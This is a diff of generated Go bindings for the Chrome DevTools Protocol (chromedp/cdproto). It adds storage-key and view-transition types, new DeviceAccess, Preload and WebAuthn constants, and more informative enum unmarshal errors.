@@ -1103,6 +1116,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage11(in *jlexer.Lex
|
||||
out.CacheID = CacheID(in.String())
|
||||
case "securityOrigin":
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "cacheName":
|
||||
out.CacheName = string(in.String())
|
||||
default:
|
||||
@@ -1129,6 +1144,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage11(out *jwriter.W
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.SecurityOrigin))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"storageKey\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"cacheName\":"
|
||||
out.RawString(prefix)
|
||||
|
||||
+5
-3
@@ -3,7 +3,7 @@ package cachestorage
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -52,7 +52,8 @@ func (t CachedResponseType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CachedResponseType(in.String()) {
|
||||
v := in.String()
|
||||
switch CachedResponseType(v) {
|
||||
case CachedResponseTypeBasic:
|
||||
*t = CachedResponseTypeBasic
|
||||
case CachedResponseTypeCors:
|
||||
@@ -67,7 +68,7 @@ func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CachedResponseTypeOpaqueRedirect
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CachedResponseType value"))
|
||||
in.AddError(fmt.Errorf("unknown CachedResponseType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -96,6 +97,7 @@ type DataEntry struct {
|
||||
type Cache struct {
|
||||
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
|
||||
StorageKey string `json:"storageKey"` // Storage key of the cache.
|
||||
CacheName string `json:"cacheName"` // The name of the cache.
|
||||
}
|
||||
|
||||
|
||||
+71
-60
@@ -4,7 +4,6 @@ package cdp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -167,31 +166,31 @@ func (t PseudoType) String() string {
|
||||
|
||||
// PseudoType values.
|
||||
const (
|
||||
PseudoTypeFirstLine PseudoType = "first-line"
|
||||
PseudoTypeFirstLetter PseudoType = "first-letter"
|
||||
PseudoTypeBefore PseudoType = "before"
|
||||
PseudoTypeAfter PseudoType = "after"
|
||||
PseudoTypeMarker PseudoType = "marker"
|
||||
PseudoTypeBackdrop PseudoType = "backdrop"
|
||||
PseudoTypeSelection PseudoType = "selection"
|
||||
PseudoTypeTargetText PseudoType = "target-text"
|
||||
PseudoTypeSpellingError PseudoType = "spelling-error"
|
||||
PseudoTypeGrammarError PseudoType = "grammar-error"
|
||||
PseudoTypeHighlight PseudoType = "highlight"
|
||||
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
|
||||
PseudoTypeScrollbar PseudoType = "scrollbar"
|
||||
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
|
||||
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
|
||||
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
|
||||
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
|
||||
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
|
||||
PseudoTypeResizer PseudoType = "resizer"
|
||||
PseudoTypeInputListButton PseudoType = "input-list-button"
|
||||
PseudoTypePageTransition PseudoType = "page-transition"
|
||||
PseudoTypePageTransitionContainer PseudoType = "page-transition-container"
|
||||
PseudoTypePageTransitionImageWrapper PseudoType = "page-transition-image-wrapper"
|
||||
PseudoTypePageTransitionOutgoingImage PseudoType = "page-transition-outgoing-image"
|
||||
PseudoTypePageTransitionIncomingImage PseudoType = "page-transition-incoming-image"
|
||||
PseudoTypeFirstLine PseudoType = "first-line"
|
||||
PseudoTypeFirstLetter PseudoType = "first-letter"
|
||||
PseudoTypeBefore PseudoType = "before"
|
||||
PseudoTypeAfter PseudoType = "after"
|
||||
PseudoTypeMarker PseudoType = "marker"
|
||||
PseudoTypeBackdrop PseudoType = "backdrop"
|
||||
PseudoTypeSelection PseudoType = "selection"
|
||||
PseudoTypeTargetText PseudoType = "target-text"
|
||||
PseudoTypeSpellingError PseudoType = "spelling-error"
|
||||
PseudoTypeGrammarError PseudoType = "grammar-error"
|
||||
PseudoTypeHighlight PseudoType = "highlight"
|
||||
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
|
||||
PseudoTypeScrollbar PseudoType = "scrollbar"
|
||||
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
|
||||
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
|
||||
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
|
||||
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
|
||||
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
|
||||
PseudoTypeResizer PseudoType = "resizer"
|
||||
PseudoTypeInputListButton PseudoType = "input-list-button"
|
||||
PseudoTypeViewTransition PseudoType = "view-transition"
|
||||
PseudoTypeViewTransitionGroup PseudoType = "view-transition-group"
|
||||
PseudoTypeViewTransitionImagePair PseudoType = "view-transition-image-pair"
|
||||
PseudoTypeViewTransitionOld PseudoType = "view-transition-old"
|
||||
PseudoTypeViewTransitionNew PseudoType = "view-transition-new"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -206,7 +205,8 @@ func (t PseudoType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PseudoType(in.String()) {
|
||||
v := in.String()
|
||||
switch PseudoType(v) {
|
||||
case PseudoTypeFirstLine:
|
||||
*t = PseudoTypeFirstLine
|
||||
case PseudoTypeFirstLetter:
|
||||
@@ -247,19 +247,19 @@ func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PseudoTypeResizer
|
||||
case PseudoTypeInputListButton:
|
||||
*t = PseudoTypeInputListButton
|
||||
case PseudoTypePageTransition:
|
||||
*t = PseudoTypePageTransition
|
||||
case PseudoTypePageTransitionContainer:
|
||||
*t = PseudoTypePageTransitionContainer
|
||||
case PseudoTypePageTransitionImageWrapper:
|
||||
*t = PseudoTypePageTransitionImageWrapper
|
||||
case PseudoTypePageTransitionOutgoingImage:
|
||||
*t = PseudoTypePageTransitionOutgoingImage
|
||||
case PseudoTypePageTransitionIncomingImage:
|
||||
*t = PseudoTypePageTransitionIncomingImage
|
||||
case PseudoTypeViewTransition:
|
||||
*t = PseudoTypeViewTransition
|
||||
case PseudoTypeViewTransitionGroup:
|
||||
*t = PseudoTypeViewTransitionGroup
|
||||
case PseudoTypeViewTransitionImagePair:
|
||||
*t = PseudoTypeViewTransitionImagePair
|
||||
case PseudoTypeViewTransitionOld:
|
||||
*t = PseudoTypeViewTransitionOld
|
||||
case PseudoTypeViewTransitionNew:
|
||||
*t = PseudoTypeViewTransitionNew
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PseudoType value"))
|
||||
in.AddError(fmt.Errorf("unknown PseudoType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -297,7 +297,8 @@ func (t ShadowRootType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ShadowRootType(in.String()) {
|
||||
v := in.String()
|
||||
switch ShadowRootType(v) {
|
||||
case ShadowRootTypeUserAgent:
|
||||
*t = ShadowRootTypeUserAgent
|
||||
case ShadowRootTypeOpen:
|
||||
@@ -306,7 +307,7 @@ func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ShadowRootTypeClosed
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ShadowRootType value"))
|
||||
in.AddError(fmt.Errorf("unknown ShadowRootType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -344,7 +345,8 @@ func (t CompatibilityMode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CompatibilityMode(in.String()) {
|
||||
v := in.String()
|
||||
switch CompatibilityMode(v) {
|
||||
case CompatibilityModeQuirksMode:
|
||||
*t = CompatibilityModeQuirksMode
|
||||
case CompatibilityModeLimitedQuirksMode:
|
||||
@@ -353,7 +355,7 @@ func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CompatibilityModeNoQuirksMode
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CompatibilityMode value"))
|
||||
in.AddError(fmt.Errorf("unknown CompatibilityMode value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -665,7 +667,8 @@ func (t NodeType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch NodeType(in.Int64()) {
|
||||
v := in.Int64()
|
||||
switch NodeType(v) {
|
||||
case NodeTypeElement:
|
||||
*t = NodeTypeElement
|
||||
case NodeTypeAttribute:
|
||||
@@ -692,7 +695,7 @@ func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = NodeTypeNotation
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown NodeType value"))
|
||||
in.AddError(fmt.Errorf("unknown NodeType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -841,7 +844,8 @@ func (t AdFrameType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AdFrameType(in.String()) {
|
||||
v := in.String()
|
||||
switch AdFrameType(v) {
|
||||
case AdFrameTypeNone:
|
||||
*t = AdFrameTypeNone
|
||||
case AdFrameTypeChild:
|
||||
@@ -850,7 +854,7 @@ func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AdFrameTypeRoot
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown AdFrameType value"))
|
||||
in.AddError(fmt.Errorf("unknown AdFrameType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -888,7 +892,8 @@ func (t AdFrameExplanation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AdFrameExplanation(in.String()) {
|
||||
v := in.String()
|
||||
switch AdFrameExplanation(v) {
|
||||
case AdFrameExplanationParentIsAd:
|
||||
*t = AdFrameExplanationParentIsAd
|
||||
case AdFrameExplanationCreatedByAdScript:
|
||||
@@ -897,7 +902,7 @@ func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AdFrameExplanationMatchedBlockingRule
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown AdFrameExplanation value"))
|
||||
in.AddError(fmt.Errorf("unknown AdFrameExplanation value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -946,7 +951,8 @@ func (t SecureContextType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SecureContextType(in.String()) {
|
||||
v := in.String()
|
||||
switch SecureContextType(v) {
|
||||
case SecureContextTypeSecure:
|
||||
*t = SecureContextTypeSecure
|
||||
case SecureContextTypeSecureLocalhost:
|
||||
@@ -957,7 +963,7 @@ func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SecureContextTypeInsecureAncestor
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SecureContextType value"))
|
||||
in.AddError(fmt.Errorf("unknown SecureContextType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -996,7 +1002,8 @@ func (t CrossOriginIsolatedContextType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CrossOriginIsolatedContextType(in.String()) {
|
||||
v := in.String()
|
||||
switch CrossOriginIsolatedContextType(v) {
|
||||
case CrossOriginIsolatedContextTypeIsolated:
|
||||
*t = CrossOriginIsolatedContextTypeIsolated
|
||||
case CrossOriginIsolatedContextTypeNotIsolated:
|
||||
@@ -1005,7 +1012,7 @@ func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CrossOriginIsolatedContextTypeNotIsolatedFeatureDisabled
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CrossOriginIsolatedContextType value"))
|
||||
in.AddError(fmt.Errorf("unknown CrossOriginIsolatedContextType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1044,7 +1051,8 @@ func (t GatedAPIFeatures) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch GatedAPIFeatures(in.String()) {
|
||||
v := in.String()
|
||||
switch GatedAPIFeatures(v) {
|
||||
case GatedAPIFeaturesSharedArrayBuffers:
|
||||
*t = GatedAPIFeaturesSharedArrayBuffers
|
||||
case GatedAPIFeaturesSharedArrayBuffersTransferAllowed:
|
||||
@@ -1055,7 +1063,7 @@ func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GatedAPIFeaturesPerformanceProfile
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown GatedAPIFeatures value"))
|
||||
in.AddError(fmt.Errorf("unknown GatedAPIFeatures value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1104,7 +1112,8 @@ func (t OriginTrialTokenStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch OriginTrialTokenStatus(in.String()) {
|
||||
v := in.String()
|
||||
switch OriginTrialTokenStatus(v) {
|
||||
case OriginTrialTokenStatusSuccess:
|
||||
*t = OriginTrialTokenStatusSuccess
|
||||
case OriginTrialTokenStatusNotSupported:
|
||||
@@ -1131,7 +1140,7 @@ func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OriginTrialTokenStatusUnknownTrial
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown OriginTrialTokenStatus value"))
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialTokenStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1170,7 +1179,8 @@ func (t OriginTrialStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch OriginTrialStatus(in.String()) {
|
||||
v := in.String()
|
||||
switch OriginTrialStatus(v) {
|
||||
case OriginTrialStatusEnabled:
|
||||
*t = OriginTrialStatusEnabled
|
||||
case OriginTrialStatusValidTokenNotProvided:
|
||||
@@ -1181,7 +1191,7 @@ func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OriginTrialStatusTrialNotAllowed
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown OriginTrialStatus value"))
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1218,14 +1228,15 @@ func (t OriginTrialUsageRestriction) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OriginTrialUsageRestriction) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch OriginTrialUsageRestriction(in.String()) {
|
||||
v := in.String()
|
||||
switch OriginTrialUsageRestriction(v) {
|
||||
case OriginTrialUsageRestrictionNone:
|
||||
*t = OriginTrialUsageRestrictionNone
|
||||
case OriginTrialUsageRestrictionSubset:
|
||||
*t = OriginTrialUsageRestrictionSubset
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown OriginTrialUsageRestriction value"))
|
||||
in.AddError(fmt.Errorf("unknown OriginTrialUsageRestriction value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+110
-32
@@ -23,6 +23,7 @@ import (
|
||||
"github.com/chromedp/cdproto/css"
|
||||
"github.com/chromedp/cdproto/database"
|
||||
"github.com/chromedp/cdproto/debugger"
|
||||
"github.com/chromedp/cdproto/deviceaccess"
|
||||
"github.com/chromedp/cdproto/deviceorientation"
|
||||
"github.com/chromedp/cdproto/dom"
|
||||
"github.com/chromedp/cdproto/domdebugger"
|
||||
@@ -46,6 +47,7 @@ import (
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/performance"
|
||||
"github.com/chromedp/cdproto/performancetimeline"
|
||||
"github.com/chromedp/cdproto/preload"
|
||||
"github.com/chromedp/cdproto/profiler"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/chromedp/cdproto/security"
|
||||
@@ -299,6 +301,11 @@ const (
|
||||
EventDebuggerResumed = "Debugger.resumed"
|
||||
EventDebuggerScriptFailedToParse = "Debugger.scriptFailedToParse"
|
||||
EventDebuggerScriptParsed = "Debugger.scriptParsed"
|
||||
CommandDeviceAccessEnable = deviceaccess.CommandEnable
|
||||
CommandDeviceAccessDisable = deviceaccess.CommandDisable
|
||||
CommandDeviceAccessSelectPrompt = deviceaccess.CommandSelectPrompt
|
||||
CommandDeviceAccessCancelPrompt = deviceaccess.CommandCancelPrompt
|
||||
EventDeviceAccessDeviceRequestPrompted = "DeviceAccess.deviceRequestPrompted"
|
||||
CommandDeviceOrientationClearDeviceOrientationOverride = deviceorientation.CommandClearDeviceOrientationOverride
|
||||
CommandDeviceOrientationSetDeviceOrientationOverride = deviceorientation.CommandSetDeviceOrientationOverride
|
||||
CommandEmulationCanEmulate = emulation.CommandCanEmulate
|
||||
@@ -343,8 +350,6 @@ const (
|
||||
EventFetchRequestPaused = "Fetch.requestPaused"
|
||||
EventFetchAuthRequired = "Fetch.authRequired"
|
||||
CommandHeadlessExperimentalBeginFrame = headlessexperimental.CommandBeginFrame
|
||||
CommandHeadlessExperimentalDisable = headlessexperimental.CommandDisable
|
||||
CommandHeadlessExperimentalEnable = headlessexperimental.CommandEnable
|
||||
CommandHeapProfilerAddInspectedHeapObject = heapprofiler.CommandAddInspectedHeapObject
|
||||
CommandHeapProfilerCollectGarbage = heapprofiler.CommandCollectGarbage
|
||||
CommandHeapProfilerDisable = heapprofiler.CommandDisable
|
||||
@@ -434,7 +439,6 @@ const (
|
||||
CommandNetworkDisable = network.CommandDisable
|
||||
CommandNetworkEmulateNetworkConditions = network.CommandEmulateNetworkConditions
|
||||
CommandNetworkEnable = network.CommandEnable
|
||||
CommandNetworkGetAllCookies = network.CommandGetAllCookies
|
||||
CommandNetworkGetCertificate = network.CommandGetCertificate
|
||||
CommandNetworkGetCookies = network.CommandGetCookies
|
||||
CommandNetworkGetResponseBody = network.CommandGetResponseBody
|
||||
@@ -521,8 +525,8 @@ const (
|
||||
CommandPageEnable = page.CommandEnable
|
||||
CommandPageGetAppManifest = page.CommandGetAppManifest
|
||||
CommandPageGetInstallabilityErrors = page.CommandGetInstallabilityErrors
|
||||
CommandPageGetManifestIcons = page.CommandGetManifestIcons
|
||||
CommandPageGetAppID = page.CommandGetAppID
|
||||
CommandPageGetAdScriptID = page.CommandGetAdScriptID
|
||||
CommandPageGetFrameTree = page.CommandGetFrameTree
|
||||
CommandPageGetLayoutMetrics = page.CommandGetLayoutMetrics
|
||||
CommandPageGetNavigationHistory = page.CommandGetNavigationHistory
|
||||
@@ -544,7 +548,6 @@ const (
|
||||
CommandPageSetFontFamilies = page.CommandSetFontFamilies
|
||||
CommandPageSetFontSizes = page.CommandSetFontSizes
|
||||
CommandPageSetDocumentContent = page.CommandSetDocumentContent
|
||||
CommandPageSetDownloadBehavior = page.CommandSetDownloadBehavior
|
||||
CommandPageSetLifecycleEventsEnabled = page.CommandSetLifecycleEventsEnabled
|
||||
CommandPageStartScreencast = page.CommandStartScreencast
|
||||
CommandPageStopLoading = page.CommandStopLoading
|
||||
@@ -556,6 +559,7 @@ const (
|
||||
CommandPageAddCompilationCache = page.CommandAddCompilationCache
|
||||
CommandPageClearCompilationCache = page.CommandClearCompilationCache
|
||||
CommandPageSetSPCTransactionMode = page.CommandSetSPCTransactionMode
|
||||
CommandPageSetRPHRegistrationMode = page.CommandSetRPHRegistrationMode
|
||||
CommandPageGenerateTestReport = page.CommandGenerateTestReport
|
||||
CommandPageWaitForDebugger = page.CommandWaitForDebugger
|
||||
CommandPageSetInterceptFileChooserDialog = page.CommandSetInterceptFileChooserDialog
|
||||
@@ -576,6 +580,8 @@ const (
|
||||
EventPageLifecycleEvent = "Page.lifecycleEvent"
|
||||
EventPageBackForwardCacheNotUsed = "Page.backForwardCacheNotUsed"
|
||||
EventPagePrerenderAttemptCompleted = "Page.prerenderAttemptCompleted"
|
||||
EventPagePrefetchStatusUpdated = "Page.prefetchStatusUpdated"
|
||||
EventPagePrerenderStatusUpdated = "Page.prerenderStatusUpdated"
|
||||
EventPageLoadEventFired = "Page.loadEventFired"
|
||||
EventPageNavigatedWithinDocument = "Page.navigatedWithinDocument"
|
||||
EventPageScreencastFrame = "Page.screencastFrame"
|
||||
@@ -588,18 +594,19 @@ const (
|
||||
EventPerformanceMetrics = "Performance.metrics"
|
||||
CommandPerformanceTimelineEnable = performancetimeline.CommandEnable
|
||||
EventPerformanceTimelineTimelineEventAdded = "PerformanceTimeline.timelineEventAdded"
|
||||
CommandPreloadEnable = preload.CommandEnable
|
||||
CommandPreloadDisable = preload.CommandDisable
|
||||
EventPreloadRuleSetUpdated = "Preload.ruleSetUpdated"
|
||||
EventPreloadRuleSetRemoved = "Preload.ruleSetRemoved"
|
||||
CommandProfilerDisable = profiler.CommandDisable
|
||||
CommandProfilerEnable = profiler.CommandEnable
|
||||
CommandProfilerGetBestEffortCoverage = profiler.CommandGetBestEffortCoverage
|
||||
CommandProfilerSetSamplingInterval = profiler.CommandSetSamplingInterval
|
||||
CommandProfilerStart = profiler.CommandStart
|
||||
CommandProfilerStartPreciseCoverage = profiler.CommandStartPreciseCoverage
|
||||
CommandProfilerStartTypeProfile = profiler.CommandStartTypeProfile
|
||||
CommandProfilerStop = profiler.CommandStop
|
||||
CommandProfilerStopPreciseCoverage = profiler.CommandStopPreciseCoverage
|
||||
CommandProfilerStopTypeProfile = profiler.CommandStopTypeProfile
|
||||
CommandProfilerTakePreciseCoverage = profiler.CommandTakePreciseCoverage
|
||||
CommandProfilerTakeTypeProfile = profiler.CommandTakeTypeProfile
|
||||
EventProfilerConsoleProfileFinished = "Profiler.consoleProfileFinished"
|
||||
EventProfilerConsoleProfileStarted = "Profiler.consoleProfileStarted"
|
||||
EventProfilerPreciseCoverageDeltaUpdate = "Profiler.preciseCoverageDeltaUpdate"
|
||||
@@ -662,21 +669,32 @@ const (
|
||||
CommandStorageGetUsageAndQuota = storage.CommandGetUsageAndQuota
|
||||
CommandStorageOverrideQuotaForOrigin = storage.CommandOverrideQuotaForOrigin
|
||||
CommandStorageTrackCacheStorageForOrigin = storage.CommandTrackCacheStorageForOrigin
|
||||
CommandStorageTrackCacheStorageForStorageKey = storage.CommandTrackCacheStorageForStorageKey
|
||||
CommandStorageTrackIndexedDBForOrigin = storage.CommandTrackIndexedDBForOrigin
|
||||
CommandStorageTrackIndexedDBForStorageKey = storage.CommandTrackIndexedDBForStorageKey
|
||||
CommandStorageUntrackCacheStorageForOrigin = storage.CommandUntrackCacheStorageForOrigin
|
||||
CommandStorageUntrackCacheStorageForStorageKey = storage.CommandUntrackCacheStorageForStorageKey
|
||||
CommandStorageUntrackIndexedDBForOrigin = storage.CommandUntrackIndexedDBForOrigin
|
||||
CommandStorageUntrackIndexedDBForStorageKey = storage.CommandUntrackIndexedDBForStorageKey
|
||||
CommandStorageGetTrustTokens = storage.CommandGetTrustTokens
|
||||
CommandStorageClearTrustTokens = storage.CommandClearTrustTokens
|
||||
CommandStorageGetInterestGroupDetails = storage.CommandGetInterestGroupDetails
|
||||
CommandStorageSetInterestGroupTracking = storage.CommandSetInterestGroupTracking
|
||||
CommandStorageGetSharedStorageMetadata = storage.CommandGetSharedStorageMetadata
|
||||
CommandStorageGetSharedStorageEntries = storage.CommandGetSharedStorageEntries
|
||||
CommandStorageSetSharedStorageEntry = storage.CommandSetSharedStorageEntry
|
||||
CommandStorageDeleteSharedStorageEntry = storage.CommandDeleteSharedStorageEntry
|
||||
CommandStorageClearSharedStorageEntries = storage.CommandClearSharedStorageEntries
|
||||
CommandStorageResetSharedStorageBudget = storage.CommandResetSharedStorageBudget
|
||||
CommandStorageSetSharedStorageTracking = storage.CommandSetSharedStorageTracking
|
||||
EventStorageCacheStorageContentUpdated = "Storage.cacheStorageContentUpdated"
|
||||
EventStorageCacheStorageListUpdated = "Storage.cacheStorageListUpdated"
|
||||
EventStorageIndexedDBContentUpdated = "Storage.indexedDBContentUpdated"
|
||||
EventStorageIndexedDBListUpdated = "Storage.indexedDBListUpdated"
|
||||
EventStorageInterestGroupAccessed = "Storage.interestGroupAccessed"
|
||||
EventStorageSharedStorageAccessed = "Storage.sharedStorageAccessed"
|
||||
CommandSystemInfoGetInfo = systeminfo.CommandGetInfo
|
||||
CommandSystemInfoGetFeatureState = systeminfo.CommandGetFeatureState
|
||||
CommandSystemInfoGetProcessInfo = systeminfo.CommandGetProcessInfo
|
||||
CommandTargetActivateTarget = target.CommandActivateTarget
|
||||
CommandTargetAttachToTarget = target.CommandAttachToTarget
|
||||
@@ -731,6 +749,7 @@ const (
|
||||
CommandWebAuthnEnable = webauthn.CommandEnable
|
||||
CommandWebAuthnDisable = webauthn.CommandDisable
|
||||
CommandWebAuthnAddVirtualAuthenticator = webauthn.CommandAddVirtualAuthenticator
|
||||
CommandWebAuthnSetResponseOverrideBits = webauthn.CommandSetResponseOverrideBits
|
||||
CommandWebAuthnRemoveVirtualAuthenticator = webauthn.CommandRemoveVirtualAuthenticator
|
||||
CommandWebAuthnAddCredential = webauthn.CommandAddCredential
|
||||
CommandWebAuthnGetCredential = webauthn.CommandGetCredential
|
||||
@@ -739,6 +758,8 @@ const (
|
||||
CommandWebAuthnClearCredentials = webauthn.CommandClearCredentials
|
||||
CommandWebAuthnSetUserVerified = webauthn.CommandSetUserVerified
|
||||
CommandWebAuthnSetAutomaticPresenceSimulation = webauthn.CommandSetAutomaticPresenceSimulation
|
||||
EventWebAuthnCredentialAdded = "WebAuthn.credentialAdded"
|
||||
EventWebAuthnCredentialAsserted = "WebAuthn.credentialAsserted"
|
||||
)
|
||||
|
||||
// Error error type.
|
||||
@@ -1440,6 +1461,21 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventDebuggerScriptParsed:
|
||||
v = new(debugger.EventScriptParsed)
|
||||
|
||||
case CommandDeviceAccessEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessSelectPrompt:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessCancelPrompt:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventDeviceAccessDeviceRequestPrompted:
|
||||
v = new(deviceaccess.EventDeviceRequestPrompted)
|
||||
|
||||
case CommandDeviceOrientationClearDeviceOrientationOverride:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1572,12 +1608,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandHeadlessExperimentalBeginFrame:
|
||||
v = new(headlessexperimental.BeginFrameReturns)
|
||||
|
||||
case CommandHeadlessExperimentalDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandHeadlessExperimentalEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandHeapProfilerAddInspectedHeapObject:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1845,9 +1875,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandNetworkEnable:
|
||||
return emptyVal, nil
|
